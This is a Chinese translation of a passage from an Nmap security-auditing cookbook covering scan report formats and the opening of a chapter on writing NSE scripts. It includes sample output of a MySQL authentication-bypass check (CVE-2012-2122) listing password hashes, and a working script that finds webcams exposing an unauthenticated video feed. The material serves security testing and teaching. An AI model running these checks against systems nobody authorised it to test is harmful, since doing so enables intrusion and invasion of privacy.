NMAP6 网络探索和安全审计秘籍(四)
原文:
annas-archive.org/md5/0DC464DD8E91DC475CC40B74E4774B2B译者:飞龙
第八章:生成扫描报告
注意
本章向您展示了一些在许多情况下可能是非法、不道德、违反服务条款或只是不明智的事情。它在这里提供是为了向您提供可能有用的信息,以保护自己免受威胁,并使自己的系统更安全。在遵循这些说明之前,请确保您站在合法和道德的一边...善用您的力量!
在本章中,我们将涵盖:
-
以 normal 格式保存扫描结果
-
以 XML 格式保存扫描结果
-
将扫描结果保存到 SQLite 数据库
-
以 grepable 格式保存扫描结果
-
使用 Zenmap 生成网络拓扑图
-
生成 HTML 扫描报告
-
报告扫描期间执行的漏洞检查
介绍
扫描报告对于渗透测试人员和系统管理员都很有用。渗透测试人员需要报告他们的发现,并包括目标弱点的证据。另一方面,系统管理员需要保持网络清单并监视网络的完整性。
安全专业人员和网络管理员常犯的一个错误是不使用 Nmap 的报告功能来加快生成这些报告的速度。Nmap 可以以多种格式编写扫描结果,用户可以选择生成 HTML 报告,从脚本语言中读取报告,甚至将其导入到第三方安全工具中以继续测试目标的其他方面。在本章中,我们将涵盖与存储扫描报告相关的不同任务。我们首先介绍 Nmap 支持的不同文件格式。此外,我们还会给出一些建议,比如使用 Zenmap 生成网络拓扑图,报告漏洞检查,以及使用 PBNJ 将结果存储在 MySQL、SQLite 或 CSV 数据库中。
学习本章涵盖的任务后,您应该能够熟练选择适当的文件格式来存储扫描结果,具体取决于您计划对报告执行的操作。
以 normal 格式保存扫描结果
Nmap 支持不同格式来保存扫描结果。根据您的需求,您可以在 normal、XML 和 grepable 输出之间进行选择。normal 模式将输出保存为您在屏幕上看到的样子,减去运行时调试信息。这种模式以一种结构良好且易于理解的方式呈现发现结果。
此示例向您展示了如何以 normal 模式将 Nmap 扫描结果保存到文件中。
如何做...
要将扫描结果保存到 normal 输出格式的文件中,请添加选项-oN <filename>。此选项仅影响输出,并且可以与任何端口或主机扫描技术结合使用:
# nmap -F -oN scanme.txt scanme.nmap.org
扫描完成后,输出现在应该保存在文件scanme.txt中:
$cat scanme.txt
# Nmap 6.02 scan initiated Thu Jun 28 23:16:32 2012 as: nmap -F -oN scanme.txt scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.47s latency).
Not shown: 95 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
# Nmap done at Thu Jun 28 23:16:37 2012 -- 1 IP address (1 host up) scanned in 5.01 seconds
工作原理...
Nmap 支持多种输出格式,如 normal、XML、grepable,甚至 script kiddie(这只是为了好玩而添加的)。normal 模式易于阅读,如果您不打算处理或解析结果,则建议使用该模式。
生成的文件将包含与屏幕上打印的相同信息,但不包括运行时警告。
还有更多...
normal 输出选项-oN可以与任何其他可用的输出选项结合使用。例如,我们可能希望以 XML 格式生成结果,以便将其导入到第三方工具中,并以 normal 模式与同事分享:
# nmap -A -oN normal-output.txt -oX xml-output.xml scanme.nmap.org
详细标志-v和调试标志-d也会改变包含的信息量。您可以使用整数或重复v或d字符的数量来设置详细或调试级别:
# nmap -F -sV -v2 -oN nmapscan.txt scanme.nmap.org
# nmap -F -sV -vv -oN nmapscan.txt scanme.nmap.org
# nmap -F -sV -d2 -oN nmapscan-debug.txt scanme.nmap.org
# nmap -F -sV -dd -oN nampscan-debug.txt scanme.nmap.org
以所有格式保存 Nmap 的输出
Nmap 支持别名选项-oA <basename>,它将扫描结果保存为所有可用格式——normal、XML 和 grepable。不同的文件将以扩展名.nmap、.xml和.grep生成:
$ nmap -oA scanme scanme.nmap.org
运行上一个命令等同于运行以下命令:
$ nmap -oX scanme.xml -oN scanme.nmap -oG scanme.grep scanme.nmap.org
在输出日志中包括调试信息
当以普通(-oN)和 grepable 模式(-oG)保存输出时,Nmap 不包括调试信息,如警告和错误。要使 Nmap 包括此信息,请使用指令--log-errors,如下命令所示:
$ nmap -A -T4 -oN output.txt --log-errors scanme.nmap.org
包括端口或主机状态的原因
要使 Nmap 包括端口标记为打开或关闭以及主机标记为活动的原因,请使用选项--reason,如下命令所示:
# nmap -F --reason scanme.nmap.org
选项--reason将使 Nmap 包括确定端口和主机状态的数据包类型。例如:
nmap -F --reason scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up, received echo-reply (0.12s latency).
Not shown: 96 closed ports
Reason: 96 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
25/tcp filtered smtp no-response
80/tcp open http syn-ack
646/tcp filtered ldp no-response
Nmap done: 1 IP address (1 host up) scanned in 3.60 seconds
追加 Nmap 输出日志
默认情况下,当使用任何输出选项(-oN,-oX,-oG,-oS)时,Nmap 会覆盖日志文件。要告诉 Nmap 追加结果而不是覆盖它们,请使用指令--append-output,如下命令所示:
# nmap --append-output -oN existing.log scanme.nmap.org
请注意,使用 XML 文件时,Nmap 不会重建树结构。如果您打算解析或处理结果,我建议您不要使用此选项,除非您愿意手动修复文件。
详细模式下的操作系统检测
使用详细模式下的操作系统检测来查看额外的主机信息,例如用于空闲扫描的 IP-ID 序列号,使用以下命令:
# nmap -O -v <target>
另请参阅
-
以 XML 格式保存扫描结果配方
-
将扫描结果保存到 SQLite 数据库配方
-
以 grepable 格式保存扫描结果配方
-
第一章中的Nmap 基础知识配方中的使用 Ndiff 比较扫描结果
-
第一章中的Nmap 基础知识配方中的使用 Nmap 和 Ndiff 远程监视服务器
以 XML 格式保存扫描结果
**可扩展标记语言(XML)**是 Nmap 支持的一种广为人知的树形文件格式。扫描结果可以导出或写入 XML 文件,并用于分析或其他附加任务。这是最受欢迎的文件格式之一,因为所有编程语言都有非常稳固的 XML 解析库。
以下配方教你如何以 XML 格式保存扫描结果。
操作方法...
要将扫描结果保存到 XML 格式的文件中,请添加选项-oX <filename>, 如下命令所示:
# nmap -A -O -oX scanme.xml scanme.nmap.org
扫描完成后,将写入包含结果的新文件:
$cat scanme.xml
<?xml version="1.0"?>
<?xml-stylesheet href="file:///usr/local/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 6.02 scan initiated Thu Jun 28 19:34:43 2012 as: nmap -p22,80,443 -oX scanme.xml scanme.nmap.org -->
<nmaprun scanner="nmap" args="nmap -p22,80,443 -oX scanme.xml scanme.nmap.org" start="1341362083" startstr="Thu Jun 28 19:34:43 2012" version="6.02" xmloutputversion="1.04">
<scaninfo type="syn" protocol="tcp" numservices="3" services="22,80,443"/>
<verbose level="0"/>
<debugging level="0"/>
<host starttime="1341362083" endtime="1341362083"><status state="up" reason="echo-reply"/>
<address addr="74.207.244.221" addrtype="ipv4"/>
<hostnames>
<hostname name="scanme.nmap.org" type="user"/>
<hostname name="scanme.nmap.org" type="PTR"/>
</hostnames>
<ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="ssh" method="table" conf="3"/></port>
<port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="http" method="table" conf="3"/></port>
<port protocol="tcp" portid="443"><state state="closed" reason="reset" reason_ttl="63"/><service name="https" method="table" conf="3"/></port>
</ports>
<times srtt="672" rttvar="2219" to="100000"/>
</host>
<runstats><finished time="1341362083" timestr="Thu Jun 28 19:34:43 2012" elapsed="0.29" summary="Nmap done at Tue Jul 3 19:34:43 2012; 1 IP address (1 host up) scanned in 0.29 seconds" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun>
工作原理...
XML 格式被广泛采用,所有编程语言都有强大的解析库。因此,许多 Nmap 用户在保存扫描结果以供后处理时更喜欢 XML 格式。Nmap 在以此格式保存扫描结果时还包括额外的调试信息。
生成的 XML 文件将包含以下信息:
-
主机和端口状态
-
服务
-
时间戳
-
执行的命令
-
Nmap 脚本引擎输出
-
运行统计和调试信息
还有更多...
如果希望打印 XML 结果而不是将其写入文件,请将选项-oX设置为"-",如下命令所示:
$ nmap -oX - scanme.nmap.org
Nmap 生成的 XML 文件引用了一个 XSL 样式表。XSL 用于在 Web 浏览器中查看 XML 文件。默认情况下,它指向您的本地副本nmap.xsl,但您可以使用参数--stylesheet来设置替代样式表,如下命令所示:
$ nmap -A -oX results.xml --stylesheet http://0xdeadbeefcafe.com/style.xsl scanme.nmap.org
然而,现代 Web 浏览器不允许您使用远程 XSL 样式表,因为同源策略(SOP)限制。我建议您将样式表放在与您尝试查看的 XML 文件相同的文件夹中,以避免这些问题。
如果不打算在 Web 浏览器中查看 XML 文件,则通过使用选项--no-stylesheet来删除对 XSL 样式表的引用,如下命令所示:
$ nmap -oX results.xml --no-stylesheet scanme.nmap.org
以所有格式保存 Nmap 的输出
Nmap 支持别名选项-oA <basename>,它将扫描结果保存在所有可用格式(普通、XML 和 grepable)中。不同的文件将以.nmap、.xml和.grep为扩展名生成:
$ nmap -oA scanme scanme.nmap.org
运行前面的命令等同于运行以下命令:
$ nmap -oX scanme.xml -oN scanme.nmap -oG scanme.grep scanme.nmap.org
附加 Nmap 输出日志
默认情况下,当使用任何输出选项(-oN,-oX,-oG,-oS)时,Nmap 会覆盖日志文件。要告诉 Nmap 追加结果而不是覆盖它们,请使用指令--append-output:
# nmap --append-output -oN existing.log scanme.nmap.org
请注意,使用 XML 文件时,Nmap 不会重新构建树结构。如果您计划解析或处理结果,我建议您不要使用此选项,除非您愿意手动修复文件。
NSE 的结构化脚本输出
Nmap 6 的一个新功能是 NSE 的 XML 结构化输出。此功能允许 NSE 脚本返回要反映在 XML 树中的值表:
<script id="test" output="
id: nse
uris:
index.php
test.php">
<elem key="id">nse</elem>
<table key="uris">
<elem>index.php</elem>
<elem>test.php</elem>
</table>
</script>
在撰写本书时,尚未更新所有 NSE 脚本以支持此功能。如果您正在编写自己的脚本,我强烈建议您返回一张具有有意义的键名的名称-值对表,以利用此功能。
另请参阅
-
以普通格式保存扫描结果配方
-
将扫描结果保存到 SQLite 数据库配方
-
以 grepable 格式保存扫描结果配方
-
在第一章的使用 Ndiff 比较扫描结果配方,Nmap 基础知识
-
使用 Nmap 和 Ndiff 远程监视服务器的监视服务器远程使用 Nmap 和 Ndiff配方在第一章,Nmap 基础知识
将扫描结果保存到 SQLite 数据库
开发人员将信息存储在 SQL 数据库中,因为使用灵活的 SQL 查询可以相对轻松地提取信息。但是,这是 Nmap 尚未正式包含的一个功能。PBNJ 是一组使用 Nmap 检测主机、端口和服务的网络监视工具。
以下配方将向您展示如何将扫描结果存储在 SQLite 和 MySQL 数据库中。
准备工作
PBNJ 是由 Joshua D. Abraham 编写的一组旨在监视网络完整性的工具。如果您正在运行基于 Debian 的系统,可以使用以下命令安装它:
#apt-get install pbnj
要了解 PBNJ 在其他支持 Perl 的系统上的要求和安装方法,请访问pbnj.sourceforge.net/docs.html。
如何做到...
运行scanpbnj并使用选项-a输入 Nmap 参数:
#scanpbnj -a "-p-" scanme.nmap.org
Scanpbnj将结果存储在文件config.yaml中配置的数据库中,或设置参数。默认情况下,scanpbnj将在当前工作目录中写入文件data.dbl。
它是如何工作的...
PBNJ 工具套件是为了帮助系统管理员监视其网络完整性而编写的。它执行 Nmap 扫描并将返回的信息存储在配置的数据库中。
PBNJ 使用的 SQLite 数据库架构是:
CREATE TABLE machines (
mid INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT,
host TEXT,
localh INTEGER,
os TEXT,
machine_created TEXT,
created_on TEXT);
CREATE TABLE services (
mid INTEGER,
service TEXT,
state TEXT,
port INTEGER,
protocol TEXT,
version TEXT,
banner TEXT,
machine_updated TEXT,
updated_on TEXT);
脚本scanpbnj负责扫描并将结果存储在用户配置的数据库中。默认情况下,它使用 SQLite,并且您无需更改配置文件即可使用。数据库写入文件data.dbl,配置文件可以在文件$HOME/.pbnj-2.0/config.yaml中找到。要使用 MySQL 数据库,只需更改配置文件中的驱动程序和数据库信息。
在上一个示例中,我们使用参数-a将参数传递给 Nmap。不幸的是,PBNJ 不支持 Nmap 的所有最新功能,因此我建议您通过阅读其主页来了解scanpbnj的所有执行选项。在撰写本书时,OS 检测未正确读取 Nmap 的 CPE 输出。
还有更多...
PBNJ 还有一个名为outputpbnj的脚本,用于提取和显示存储在数据库中的信息。要列出可用的查询,请运行以下命令:
#outputpbnj --list
例如,要运行查询以列出记录的机器,请使用以下命令:
#outputpbnj -q machines
我们得到以下输出:
Wed Jul 4 00:37:49 2012 74.207.244.221 scanme.nmap.org 0 unknown os
要检索服务清单,请使用以下命令:
#outputpbnj -q services
我们得到以下输出:
Wed Jul 4 20:38:27 2012 ssh 5.3p1 Debian 3ubuntu7 OpenSSH up
Wed Jul 4 20:38:27 2012 http 2.2.14 Apache httpd up
Wed Jul 4 20:38:27 2012 nping-echo unknown version Nping echo up
以 CSV 格式转储数据库
Outputpbnj也支持几种不同的输出格式。要以逗号分隔值 **(CSV)**格式输出查询结果,请使用以下命令:
#outputpbnj -t cvs -q <query name>
输出将从数据库中提取并以 CSV 格式进行格式化:
# outputpbnj -t csv -q machines
Wed Jul 4 20:38:27 2012,74.207.244.221,scanme.nmap.org,0,unknown os
Wed Jul 4 20:38:27 2012,192.168.0.1,,0,unknown os
修复 outputpbnj
在编写本书时,存在一个 bug,导致outputpbnj无法运行。经过一些研究,看起来补丁可能不会很快到来,因此我决定在这里包含相关的修复。
要确定您的outputpbnj是否损坏,请尝试使用以下命令显示版本号:
# outputpbnj -v
如果您使用的是损坏的版本,您将看到以下错误消息:
Error in option spec: "test|=s"
Error in option spec: "debug|=s"
在尝试修复之前,让我们使用以下命令创建脚本的备份副本:
# cp /usr/local/bin/outputpbnj outputpbnj-original
现在用您喜欢的编辑器打开脚本并找到以下行:
'test|=s', 'debug|=s'
用以下内容替换它:
'test=s', 'debug=s'
现在您应该能够运行outputpbnj了:
#outputpbnj -v
outputpbnj version 2.04 by Joshua D. Abraham
另请参阅
-
以普通格式保存扫描结果食谱
-
以 XML 格式保存扫描结果食谱
-
以 grepable 格式保存扫描结果食谱
-
第一章中的使用 Ndiff 比较扫描结果食谱,Nmap 基础
-
第一章中的使用 Nmap 和 Ndiff 远程监视服务器食谱,Nmap 基础
以 grepable 格式保存扫描结果
Nmap 在保存扫描结果时支持不同的文件格式。根据您的需求,您可以在普通、grepable 和 XML 格式之间进行选择。grepable 格式是为了帮助用户从日志中提取信息而包含的,而无需编写解析器,因为该格式旨在使用标准 Unix 工具进行读取/解析。尽管此功能已被弃用,但一些人仍然发现它在执行快速任务时很有用。
在以下食谱中,我们将向您展示如何以 grepable 模式输出 Nmap 扫描。
如何做到...
要将扫描结果保存到 grepable 格式的文件中,请添加选项-oG <filename>,如以下命令所示:
# nmap -F -oG scanme.grep scanme.nmap.org
扫描完成后,输出文件应该会出现:
# cat nmap.grep
# Nmap 6.01 scan initiated Thu Jun 28 01:53:03 2012 as: nmap -oG nmap.grep -F scanme.nmap.org
Host: 74.207.244.221 (scanme.nmap.org) Status: Up
Host: 74.207.244.221 (scanme.nmap.org) Ports: 22/open/tcp//ssh///, 25/filtered/tcp//smtp///, 80/open/tcp//http///, 646/filtered/tcp//ldp/// Ignored State: closed (96)
# Nmap done at Thu Jun 28 01:53:07 2012 -- 1 IP address (1 host up) scanned in 3.49 seconds
它是如何工作的...
在 grepable 模式下,每个主机都以<field name>: <value>的格式放在同一行上,每个字段由制表符(\t)分隔。字段的数量取决于扫描时使用的 Nmap 选项。
有八个可能的输出字段:
-
Host:此字段始终包括,由 IP 地址和反向 DNS 名称组成(如果可用)
-
Status:此字段有三个可能的值—Up、Down 或 Unknown
-
Ports:在此字段中,端口条目由逗号和空格字符分隔,并且每个条目由斜杠字符(
/)分成七个字段 -
Protocols:在使用 IP 协议(
-sO)扫描时显示此字段 -
Ignored:此字段显示被忽略的端口状态的数量
-
OS:仅在使用 OS 检测(
-O)时才显示此字段 -
Seq Index:仅在使用 OS 检测(
-O)时才显示此字段 -
IP ID Seq:仅在使用 OS 检测(
-O)时才显示此字段
还有更多...
如前所述,grepable 模式已被弃用。Nmap 脚本引擎的任何输出都不包括在此格式中,因此如果您正在使用 NSE,不应使用此模式。或者,您可以指定其他输出选项,将此信息存储在另一个文件中:
# nmap -A -oX results-with-nse.xml -oG results.grep scanme.nmap.org
如果希望打印 grepable 结果而不是将其写入文件,请将选项-oG设置为"-":
$ nmap -oG - scanme.nmap.org
以所有格式保存 Nmap 的输出
Nmap 支持别名选项-oA <basename>,它将扫描结果保存在所有可用格式中—普通、XML 和 grepable。不同的文件将以.nmap、.xml和.grep为扩展名生成:
$ nmap -oA scanme scanme.nmap.org
运行前一个命令相当于运行以下命令:
$ nmap -oX scanme.xml -oN scanme.nmap -oG scanme.grep scanme.nmap.org
附加 Nmap 输出日志
默认情况下,当使用任何输出选项(-oN、-oX、-oG、-oS)时,Nmap 会覆盖其日志文件。要告诉 Nmap 追加结果而不是覆盖它们,请使用--append-output指令,如下面的命令所示:
# nmap --append-output -oN existing.log scanme.nmap.org
请注意,对于 XML 文件,Nmap 不会重建树结构。如果您打算解析或处理结果,我建议您不要使用此选项,除非您愿意手动修复文件。
另请参阅
-
以普通格式保存扫描结果食谱
-
以 XML 格式保存扫描结果食谱
-
将扫描结果保存到 SQLite 数据库食谱
-
在第一章 Nmap 基础知识中的使用 Ndiff 比较扫描结果食谱
-
在第一章 Nmap 基础知识中的使用 Nmap 和 Ndiff 远程监视服务器食谱
使用 Zenmap 生成网络拓扑图
Zenmap 的拓扑选项卡允许用户获得扫描的网络的图形表示。网络图用于 IT 中的几项任务,我们可以通过从 Nmap 导出拓扑图来避免使用第三方工具绘制拓扑图。此选项卡还包括几个可视化选项,以调整图的视图。
此食谱将向您展示如何使用 Zenmap 生成网络拓扑图的图像。
如何做...
使用以下命令在 Zenmap 中扫描您希望映射的网络:
# nmap -O -A 192.168.1.0/24
转到名为拓扑的选项卡。您现在应该看到拓扑图,如下面的屏幕截图所示:
单击右上角的保存图形。
输入文件名,选择文件类型,然后单击保存,如下面的屏幕截图所示:
它是如何工作的...
拓扑选项卡是 RadialNet(www.dca.ufrn.br/~joaomedeiros/radialnet/)的改编,由 João Paulo S. Medeiros 开发,是 Zenmap 的我最喜欢的功能。它为用户提供了网络拓扑图,IT 部门可以用于多种目的,从清单到检测流氓接入点。
在 Zenmap 拓扑图中,主机由节点表示,边表示它们之间的连接。显然,此功能最适合使用--traceroute指令,因为此选项允许 Nmap 收集有关网络路径的信息。节点还以不同的颜色和大小表示主机及其端口的状态。还有特殊图标用于表示不同类型的设备,如路由器、防火墙或接入点。
还有更多...
如果您需要将其他主机添加到当前图形中,您只需要扫描目标。Zenmap 会跟踪所有扫描,并自动将新网络添加到拓扑视图中。
Zenmap 的拓扑选项卡还提供了几个可视化控件,可以根据您的需要进行调整。这些控件包括分组、突出显示和动画。
要了解更多有关可视化控件的信息,请访问官方文档nmap.org/book/zenmap-topology.html。
另请参阅
-
以 XML 格式保存扫描结果食谱
-
在 grepable 格式中保存扫描结果
-
在第一章 Nmap 基础知识中的使用 Zenmap 管理不同的扫描配置文件食谱
生成 HTML 扫描报告
HTML 页面在其他文件格式上有特定的优势;它们可以在大多数设备附带的 Web 浏览器中查看。因此,用户可能会发现将扫描报告生成为 HTML 并将其上传到某个地方以便轻松访问是有用的。
以下配方将向您展示如何从 XML 结果文件中生成一个显示扫描结果的 HTML 页面。
准备就绪...
对于这个任务,我们将使用一个名为“XSLT 处理器”的工具。不同平台有几种可用的选项,但对于 Unix 系统来说,最受欢迎的是名为“xsltproc”的选项;如果您正在运行现代 Linux,您很有可能已经安装了它。"Xsltproc"也适用于 Windows,但需要您为其添加一些额外的库。
如果您正在寻找其他跨平台的 XSLT(和 XQuery)处理器,它更容易在 Windows 上安装,请访问saxon.sourceforge.net/。他们提供了基于 Java 的免费版本的"saxon"。
如何做...
首先,使用以下命令将扫描结果保存为 XML 格式:
# nmap -A -oX results.xml scanme.nmap.org
运行xsltproc将 XML 文件转换为 HTML/CSS:
$xsltproc results.xml -o results.html
HTML 文件应该写入您的工作目录。现在,只需用您喜欢的网络浏览器打开它。
工作原理...
XSL 样式表用于直接从网络浏览器查看 XML 文件。不幸的是,现代网络浏览器包括更严格的同源策略限制,因此最好生成 HTML 报告。
xsltproc实用程序接受以下参数:
$xsltproc <input file> -o <output file>
XML 文件中包含对 XSL 样式表的引用,并且样式是从那里获取的。
您需要确保引用的 XSL 样式表是可读的,否则xsltproc将失败。默认情况下,Nmap 将nmap.xsl发送到您的安装目录。如果您的系统中没有它,您可以从<url>下载它,将其放在您的工作目录中,并使用指令--stylesheet:
#cp /usr/local/share/nmap/nmap.xsl
最后,我们应该在同一个文件夹(我们的工作目录)中有nmap.xsl和我们的结果文件results.xml。
还有更多...
如果您的系统中没有 XSL 样式表,您可以使用指令--webxml来让 Nmap 使用以下命令引用在线副本:
# nmap -A -oX results.xml --webxml scanme.nmap.org
要自定义报告的外观,可以编辑 XSL 样式表。我建议您从文件nmap.xsl开始学习字段名称。
另请参阅
-
以正常格式保存扫描结果配方
-
以 XML 格式保存扫描结果配方
-
以 grepable 格式保存扫描结果配方
-
以正常格式保存扫描结果配方
-
将扫描结果保存到 SQLite 数据库配方
-
在第一章中的使用 Nmap 基础中的使用 Ndiff 比较扫描结果配方
-
在第一章中的使用 Nmap 和 Ndiff 远程监视服务器配方
报告扫描期间执行的漏洞检查
通过使用 NSE 脚本,Nmap 可以变成一个漏洞扫描器。vuln库管理和统一了 Nmap 脚本引擎执行的漏洞检查的输出。
这个配方将向您展示如何让 Nmap 报告执行的漏洞检查。
如何做...
通过使用以下命令对目标启动vuln类别下的 NSE 脚本:
nmap -sV --script vuln <target>
如果你幸运的话,你会看到一个漏洞报告:
PORT STATE SERVICE REASON
306/tcp open mysql syn-ack
mysql-vuln-cve2012-2122:
VULNERABLE:
Authentication bypass in MySQL servers.
State: VULNERABLE
IDs: CVE:CVE-2012-2122
Description:
When a user connects to MariaDB/MySQL, a token (SHA
over a password and a random scramble string) is calculated and compared
with the expected value. Because of incorrect casting, it might've
happened that the token and the expected value were considered equal,
even if the memcmp() returned a non-zero value. In this case
MySQL/MariaDB would think that the password is correct, even while it is
not. Because the protocol uses random strings, the probability of
hitting this bug is about 1/256.
Which means, if one knows a user name to connect (and "root" almost
always exists), she can connect using *any* password by repeating
connection attempts. ~300 attempts takes only a fraction of second, so
basically account password protection is as good as nonexistent.
Disclosure date: 2012-06-9
Extra information:
Server granted access at iteration #204
root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
debian-sys-maint:*BDA9386EE35F7F326239844C185B01E3912749BF
phpmyadmin:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
References:
https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
http://seclists.org/oss-sec/2012/q2/493
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122
工作原理...
使用选项--script vuln告诉 Nmap 启动类别vuln下的所有 NSE 脚本。vuln库返回多个字段,如名称、描述、CVE、OSVDB、披露日期、风险因素、利用结果、CVSS 分数、参考链接和其他额外信息。
vuln库由 Djalal Harouni 和 Henri Doreau 创建,用于报告和存储 Nmap 发现的漏洞。库返回的信息帮助我们编写漏洞报告,提供了有关漏洞的详细信息。请记住,该库是最近引入的,并非所有 NSE 脚本都使用它。
还有更多...
如果您希望 Nmap 报告所有安全检查,甚至是不成功的,请设置库参数vulns.showall:
# nmap -sV --script vuln --script-args vulns.showall <target>
每个vuln NSE 脚本都会报告其状态:
http-phpself-xss:
NOT VULNERABLE:
Unsafe use of $_SERVER["PHP_SELF"] in PHP files
State: NOT VULNERABLE
References:
http://php.net/manual/en/reserved.variables.server.php
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
另请参阅
-
以正常格式保存扫描结果配方
-
以 XML 格式保存扫描结果配方
-
第一章中的对远程主机的服务进行指纹识别配方,Nmap 基础
-
第三章“收集额外主机信息”中的匹配已知安全漏洞的服务配方
第九章:编写您自己的 NSE 脚本
注意
本章将向您展示如何执行在许多情况下可能是非法、不道德、违反服务条款或不明智的一些操作。这里提供这些信息是为了让您了解如何保护自己免受威胁,并使自己的系统更加安全。在遵循这些说明之前,请确保您站在法律和道德的一边……善用您的力量!
在本章中,我们将涵盖:
-
通过发出 HTTP 请求来识别易受攻击的 Trendnet 网络摄像头
-
使用 NSE 套接字发送 UDP 有效载荷
-
利用 NSE 利用路径遍历漏洞
-
编写暴力破解脚本
-
使用网络爬虫库
-
在 NSE 脚本中正确报告漏洞
-
编写您自己的 NSE 库
-
在 NSE 线程、条件变量和互斥体中工作
介绍
Nmap 脚本引擎于 2007 年在版本 4.5 中推出,以利用在端口或网络扫描期间收集的信息,并使用强大的脚本语言 Lua 执行附加任务,从而将 Nmap 的功能扩展到一个全新的水平。这一功能已经成为一个完整的武器库,已经正式包含了近 300 个脚本。您可以通过这一功能完成的任务数量令人印象深刻,就像您在本书中学到的那样。
Lua 是一种脚本语言,目前在其他重要项目中使用,如魔兽世界、Wireshark 和 Snort,有很好的原因。Lua 非常轻量级和可扩展。作为 NSE 开发人员,我对 Lua 的经验非常积极。该语言非常强大和灵活,但语法清晰且易于学习。因为 Lua 本身就是一个完整的主题,我将无法专注于其所有出色的功能,但我建议您阅读官方参考手册www.lua.org/manual/5.2/。
每个 NSE 脚本接收两个参数:主机和端口表。它们包含在发现或端口扫描期间收集的信息。只有在设置了某些标志时,才会填充一些信息字段。主机表中的一些字段是:
-
host.os:包含 OS 匹配数组的表(需要标志-O) -
host.ip:目标 IP -
host.name:如果可用,返回反向 DNS 条目
有关完整字段列表,请访问nmap.org/book/nse-api.html#nse-api-arguments。
另一方面,端口表包含:
-
port.number:端口号 -
port.protocol:端口协议 -
port.service:服务名称 -
port.version:服务版本 -
port.state:端口状态
Nmap 脚本引擎提供的灵活性和信息的结合,使渗透测试人员和系统管理员在编写脚本自动化任务时节省了大量的开发时间。
Nmap 背后的社区是令人惊讶且非常合作的。我可以说他们是开源社区中最热情的人之一。每周都会添加新的脚本和库,这也成为渗透测试人员需要将最新的开发快照纳入其武器库的原因。
为了纪念 David Fifield 和 Fyodor 在 Defcon 2010 中介绍 Nmap 脚本引擎的演讲,他们编写了一个脚本来检测易受攻击的 httpd 网络摄像头,我们将开始编写我们自己的 NSE 脚本来检测 Trendnet 摄像头。
在本章中,您还将学习如何编写执行暴力破解密码审核的 NSE 脚本,并使用新的 HTTP 爬虫库来自动执行安全检查。我们将讨论处理 NSE 套接字和原始数据包以利用漏洞的脚本。我们将介绍一些 NSE 库,这些库允许我们发出 HTTP 请求、管理找到的凭据,并向用户报告漏洞。
Nmap 脚本引擎发展迅速,增长更快。由于空间有限,不可能涵盖该项目已经拥有的所有优秀 NSE 脚本和库,但我邀请您访问官方书籍网站nmap-cookbook.com获取额外的配方和脚本示例,我将在未来发布。
希望在阅读我为您挑选的配方后,您将学会应对更具挑战性的任务所需的所有必要工具。将调试模式设为您的朋友(-d[1-9]),当然,不要忘记通过将您的脚本或补丁发送至<nmap-dev@insecure.org>来为这个令人惊叹的项目做出贡献。
如果这是您第一次为 NSE 编写脚本,我建议您下载并学习脚本的整体结构和必要字段。我上传了我用于github.com/cldrn/nmap-nse-scripts/blob/master/nse-script-template.nse的模板。
Ron Bowes 还在nmap.org/svn/docs/sample-script.nse上为 NSE 脚本编写了非常详细的模板。
完整的 NSE 脚本格式文档可以在nmap.org/book/nse-script-format.html上找到。
进行 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头
Nmap 脚本引擎提供了一个库,用于处理 HTTP 客户端的请求和其他常见功能。使用此库,NSE 开发人员可以完成许多任务,从信息收集到漏洞利用。
此配方将向您展示如何使用 HTTP 库发送 HTTP 请求以识别易受攻击的 Trendnet TV-IP110W 网络摄像头。
如何操作...
Trendnet TV-IP110W 网络摄像头允许通过简单请求 URI/anony/mjpg.cgi来访问其视频源而无需身份验证。让我们编写一个 NSE 脚本来检测这些设备。现在,让我们忽略文档标签:
- 创建文件
http-trendnet-tvip110w.nse,并从填写 NSE 脚本基本信息字段开始:
description = [[
Attempts to detect webcams Trendnet TV-IP110W vulnerable to unauthenticated access to the video stream by querying the URI "/anony/mjpg.cgi".
Original advisory: http://console-cowboys.blogspot.com/2012/01/trendnet-cameras-i-always-feel-like.html
]]
categories = {"exploit","vuln"}
- 我们加载将需要的库。请注意,此格式对应于 Nmap 6.x:
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
- 我们定义我们的执行规则。我们使用别名
shortport.http告诉 Nmap 在找到 Web 服务器时执行脚本:
portrule = shortport.http
- 我们的主要功能将识别 404 响应的类型,并通过向
/anony/mjpg.cgi发送 HTTP 请求并检查状态码 200 来确定网络摄像头是否容易受到未经授权的访问:
action = function(host, port)
local uri = "/anony/mjpg.cgi"
local _, status_404, resp_404 = http.identify_404(host, port)
if status_404 == 200 then
stdnse.print_debug(1, "%s: Web server returns ambiguous response. Trendnet webcams return standard 404 status responses. Exiting.", SCRIPT_NAME)
return
end
stdnse.print_debug(1, "%s: HTTP HEAD %s", SCRIPT_NAME, uri)
local resp = http.head(host, port, uri)
if resp.status and resp.status == 200 then
return string.format("Trendnet TV-IP110W video feed is unprotected:http://%s/anony/mjpg.cgi", host.ip)
end
end
- 现在只需针对目标运行 NSE 脚本:
$ nmap -p80 -n -Pn --script http-trendnet-tvip110w.nse <target>
- 如果找到易受攻击的网络摄像头,您将看到以下输出:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
|_http-trendnet-tvip110w: Trendnet TV-IP110W video feed is unprotected:http://192.168.4.20/anony/mjpg.cgi
带有文档标签的完整脚本可以从github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/http-trendnet-tvip110w.nse下载。
工作原理...
